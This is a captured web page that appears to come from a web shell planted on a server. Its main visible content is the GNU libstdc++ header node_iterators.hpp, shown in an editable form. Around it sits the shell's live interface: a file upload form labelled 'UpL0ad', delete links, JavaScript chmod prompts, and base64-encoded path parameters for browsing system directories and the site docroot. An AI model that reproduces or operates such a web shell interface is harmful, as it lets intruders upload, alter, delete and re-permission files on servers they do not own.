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<hr>node_iterators.hpp<form method=post action="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw%3D%3D&f=bm9kZV9pdGVyYXRvcnMuaHBw"><input name="f" value="node_iterators.hpp"><textarea name="t">// -*- C++ -*-

// Copyright (C) 2005-2023 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library.  This library is free
// software; you can redistribute it and/or modify it under the terms
// of the GNU General Public License as published by the Free Software
// Foundation; either version 3, or (at your option) any later
// version.

// This library is distributed in the hope that it will be useful, but
// WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
// General Public License for more details.

// Under Section 7 of GPL version 3, you are granted additional
// permissions described in the GCC Runtime Library Exception, version
// 3.1, as published by the Free Software Foundation.

// You should have received a copy of the GNU General Public License and
// a copy of the GCC Runtime Library Exception along with this program;
// see the files COPYING3 and COPYING.RUNTIME respectively.  If not, see
// &lt;http://www.gnu.org/licenses/&gt;.

// Copyright (C) 2004 Ami Tavory and Vladimir Dreizin, IBM-HRL.

// Permission to use, copy, modify, sell, and distribute this software
// is hereby granted without fee, provided that the above copyright
// notice appears in all copies, and that both that copyright notice
// and this permission notice appear in supporting documentation. None
// of the above authors, nor IBM Haifa Research Laboratories, make any
// representation about the suitability of this software for any
// purpose. It is provided &quot;as is&quot; without express or implied
// warranty.

/**
 * @file ov_tree_map_/node_iterators.hpp
 * Contains an implementation class for ov_tree_.
 */

#ifndef PB_DS_OV_TREE_NODE_ITERATORS_HPP
#define PB_DS_OV_TREE_NODE_ITERATORS_HPP

#include &lt;ext/pb_ds/tag_and_trait.hpp&gt;
#include &lt;ext/pb_ds/detail/type_utils.hpp&gt;
#include &lt;debug/debug.h&gt;

namespace __gnu_pbds
{
  namespace detail
  {
#define PB_DS_OV_TREE_CONST_NODE_ITERATOR_C_DEC	\
    ov_tree_node_const_it_&lt;Value_Type, Metadata_Type, _Alloc&gt;

    /// Const node reference.
    template&lt;typename Value_Type, typename Metadata_Type, typename _Alloc&gt;
    class ov_tree_node_const_it_
    {

    protected:
      typedef typename rebind_traits&lt;_Alloc, Value_Type&gt;::pointer
	pointer;

      typedef typename rebind_traits&lt;_Alloc, Value_Type&gt;::const_pointer
	const_pointer;

      typedef typename rebind_traits&lt;_Alloc, Metadata_Type&gt;::const_pointer
	const_metadata_pointer;

      typedef PB_DS_OV_TREE_CONST_NODE_ITERATOR_C_DEC this_type;

    protected:

      template&lt;typename Ptr&gt;
      inline static Ptr
      mid_pointer(Ptr p_begin, Ptr p_end)
      {
	_GLIBCXX_DEBUG_ASSERT(p_end &gt;= p_begin);
	return (p_begin + (p_end - p_begin) / 2);
      }

    public:

      typedef trivial_iterator_tag iterator_category;

      typedef trivial_iterator_difference_type difference_type;

      typedef typename rebind_traits&lt;_Alloc, Value_Type&gt;::const_pointer
	value_type;

      typedef typename rebind_traits&lt;_Alloc,
	      typename remove_const&lt;Value_Type&gt;::type&gt;::const_pointer
	reference;

      typedef typename rebind_traits&lt;_Alloc, 
	      typename remove_const&lt;Value_Type&gt;::type&gt;::const_pointer
	const_reference;

      typedef Metadata_Type metadata_type;

      typedef typename rebind_traits&lt;_Alloc, metadata_type&gt;::const_reference
	metadata_const_reference;

    public:
      inline
      ov_tree_node_const_it_(const_pointer p_nd = 0,
			     const_pointer p_begin_nd = 0,
			     const_pointer p_end_nd = 0,
			     const_metadata_pointer p_metadata = 0)
      : m_p_value(const_cast&lt;pointer&gt;(p_nd)),
	m_p_begin_value(const_cast&lt;pointer&gt;(p_begin_nd)),
	m_p_end_value(const_cast&lt;pointer&gt;(p_end_nd)),
	m_p_metadata(p_metadata)
      { }

      inline const_reference
      operator*() const
      { return m_p_value; }

      inline metadata_const_reference
      get_metadata() const
      {
	enum
	  {
	    has_metadata = !is_same&lt;Metadata_Type, null_type&gt;::value
	  };

	PB_DS_STATIC_ASSERT(should_have_metadata, has_metadata);
	_GLIBCXX_DEBUG_ASSERT(m_p_metadata != 0);
	return *m_p_metadata;
      }

      /// Returns the node iterator associated with the left node.
      inline this_type
      get_l_child() const
      {
	if (m_p_begin_value == m_p_value)
	  return (this_type(m_p_begin_value, m_p_begin_value, m_p_begin_value));

	const_metadata_pointer p_begin_metadata =
	  m_p_metadata - (m_p_value - m_p_begin_value);

	return (this_type(mid_pointer(m_p_begin_value, m_p_value),
			  m_p_begin_value,
			  m_p_value,
			  mid_pointer(p_begin_metadata, m_p_metadata)));
      }

      /// Returns the node iterator associated with the right node.
      inline this_type
      get_r_child() const
      {
	if (m_p_value == m_p_end_value)
	  return (this_type(m_p_end_value, m_p_end_value, m_p_end_value));

	const_metadata_pointer p_end_metadata =
	  m_p_metadata + (m_p_end_value - m_p_value);

	return (this_type(mid_pointer(m_p_value + 1, m_p_end_value),
			  m_p_value + 1,
			  m_p_end_value,(m_p_metadata == 0) ?
			  0 : mid_pointer(m_p_metadata + 1, p_end_metadata)));
      }

      inline bool
      operator==(const this_type&amp; other) const
      {
	const bool is_end = m_p_begin_value == m_p_end_value;
	const bool is_other_end = other.m_p_begin_value == other.m_p_end_value;

	if (is_end)
	  return (is_other_end);

	if (is_other_end)
	  return (is_end);

	return m_p_value == other.m_p_value;
      }

      inline bool
      operator!=(const this_type&amp; other) const
      { return !operator==(other); }

    public:
      pointer m_p_value;
      pointer m_p_begin_value;
      pointer m_p_end_value;

      const_metadata_pointer m_p_metadata;
    };

#define PB_DS_OV_TREE_NODE_ITERATOR_C_DEC \
    ov_tree_node_it_&lt;Value_Type, Metadata_Type, _Alloc&gt;

    /// Node reference.
    template&lt;typename Value_Type, typename Metadata_Type, typename _Alloc&gt;
    class ov_tree_node_it_ : public PB_DS_OV_TREE_CONST_NODE_ITERATOR_C_DEC
    {
    private:
      typedef PB_DS_OV_TREE_NODE_ITERATOR_C_DEC this_type;

      typedef PB_DS_OV_TREE_CONST_NODE_ITERATOR_C_DEC base_type;

      typedef typename base_type::pointer pointer;

      typedef typename base_type::const_pointer const_pointer;

      typedef
      typename base_type::const_metadata_pointer
      const_metadata_pointer;

    public:
      typedef trivial_iterator_tag iterator_category;

      typedef trivial_iterator_difference_type difference_type;

      typedef typename rebind_traits&lt;_Alloc, Value_Type&gt;::pointer
	value_type;

      typedef typename rebind_traits&lt;_Alloc,
	      typename remove_const&lt;Value_Type&gt;::type&gt;::pointer
	reference;

      typedef typename rebind_traits&lt;_Alloc, 
	      typename remove_const&lt;Value_Type&gt;::type&gt;::pointer
	const_reference;

      inline
      ov_tree_node_it_(const_pointer p_nd = 0,  const_pointer p_begin_nd = 0,  const_pointer p_end_nd = 0,  const_metadata_pointer p_metadata = 0) : base_type(p_nd,  p_begin_nd,  p_end_nd,  p_metadata)
      { }

      /// Access.
      inline reference
      operator*() const
      { return reference(base_type::m_p_value); }

      /// Returns the node reference associated with the left node.
      inline ov_tree_node_it_
      get_l_child() const
      {
	if (base_type::m_p_begin_value == base_type::m_p_value)
	  return (this_type(base_type::m_p_begin_value,  base_type::m_p_begin_value,  base_type::m_p_begin_value));

	const_metadata_pointer p_begin_metadata =
	  base_type::m_p_metadata - (base_type::m_p_value - base_type::m_p_begin_value);

	return (this_type(base_type::mid_pointer(base_type::m_p_begin_value, base_type::m_p_value),
			  base_type::m_p_begin_value,
			  base_type::m_p_value,
			  base_type::mid_pointer(p_begin_metadata, base_type::m_p_metadata)));
      }

      /// Returns the node reference associated with the right node.
      inline ov_tree_node_it_
      get_r_child() const
      {
	if (base_type::m_p_value == base_type::m_p_end_value)
	  return this_type(base_type::m_p_end_value, base_type::m_p_end_value,  
			   base_type::m_p_end_value);

	const_metadata_pointer p_end_metadata =
	  base_type::m_p_metadata + (base_type::m_p_end_value - base_type::m_p_value);

	return (this_type(base_type::mid_pointer(base_type::m_p_value + 1, base_type::m_p_end_value),
			  base_type::m_p_value + 1,
			  base_type::m_p_end_value,(base_type::m_p_metadata == 0)?
			  0 : base_type::mid_pointer(base_type::m_p_metadata + 1, p_end_metadata)));
      }

    };

#undef PB_DS_OV_TREE_NODE_ITERATOR_C_DEC
#undef PB_DS_OV_TREE_CONST_NODE_ITERATOR_C_DEC

} // namespace detail
} // namespace __gnu_pbds

#endif 
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/include/c++/13/ext/pb_ds/detail/ov_tree_map_<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWls"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&x=Y29uc3RydWN0b3JzX2Rlc3RydWN0b3JfZm5faW1wcy5ocHA=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=Y29uc3RydWN0b3JzX2Rlc3RydWN0b3JfZm5faW1wcy5ocHA="/>constructors_destructor_fn_imps.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=Y29uc3RydWN0b3JzX2Rlc3RydWN0b3JfZm5faW1wcy5ocHA=&c=`+btoa(c):0" value="0644"></td><td>6916</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&x=ZGVidWdfZm5faW1wcy5ocHA=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=ZGVidWdfZm5faW1wcy5ocHA="/>debug_fn_imps.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=ZGVidWdfZm5faW1wcy5ocHA=&c=`+btoa(c):0" value="0644"></td><td>2851</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&x=ZXJhc2VfZm5faW1wcy5ocHA=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=ZXJhc2VfZm5faW1wcy5ocHA="/>erase_fn_imps.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=ZXJhc2VfZm5faW1wcy5ocHA=&c=`+btoa(c):0" value="0644"></td><td>5014</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&x=aW5mb19mbl9pbXBzLmhwcA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=aW5mb19mbl9pbXBzLmhwcA=="/>info_fn_imps.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=aW5mb19mbl9pbXBzLmhwcA==&c=`+btoa(c):0" value="0644"></td><td>2136</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&x=aW5zZXJ0X2ZuX2ltcHMuaHBw">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=aW5zZXJ0X2ZuX2ltcHMuaHBw"/>insert_fn_imps.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=aW5zZXJ0X2ZuX2ltcHMuaHBw&c=`+btoa(c):0" value="0644"></td><td>2306</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&x=aXRlcmF0b3JzX2ZuX2ltcHMuaHBw">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=aXRlcmF0b3JzX2ZuX2ltcHMuaHBw"/>iterators_fn_imps.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=aXRlcmF0b3JzX2ZuX2ltcHMuaHBw&c=`+btoa(c):0" value="0644"></td><td>3394</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&x=bm9kZV9pdGVyYXRvcnMuaHBw">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=bm9kZV9pdGVyYXRvcnMuaHBw"/>node_iterators.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=bm9kZV9pdGVyYXRvcnMuaHBw&c=`+btoa(c):0" value="0644"></td><td>8638</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&x=b3ZfdHJlZV9tYXBfLmhwcA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=b3ZfdHJlZV9tYXBfLmhwcA=="/>ov_tree_map_.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=b3ZfdHJlZV9tYXBfLmhwcA==&c=`+btoa(c):0" value="0644"></td><td>15509</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&x=cG9saWN5X2FjY2Vzc19mbl9pbXBzLmhwcA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=cG9saWN5X2FjY2Vzc19mbl9pbXBzLmhwcA=="/>policy_access_fn_imps.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=cG9saWN5X2FjY2Vzc19mbl9pbXBzLmhwcA==&c=`+btoa(c):0" value="0644"></td><td>1920</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&x=c3BsaXRfam9pbl9mbl9pbXBzLmhwcA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=c3BsaXRfam9pbl9mbl9pbXBzLmhwcA=="/>split_join_fn_imps.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=c3BsaXRfam9pbl9mbl9pbXBzLmhwcA==&c=`+btoa(c):0" value="0644"></td><td>3807</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&x=dHJhaXRzLmhwcA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=dHJhaXRzLmhwcA=="/>traits.hpp</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL2MrKy8xMy9leHQvcGJfZHMvZGV0YWlsL292X3RyZWVfbWFwXw==&f=dHJhaXRzLmhwcA==&c=`+btoa(c):0" value="0644"></td><td>4562</td></tr></table>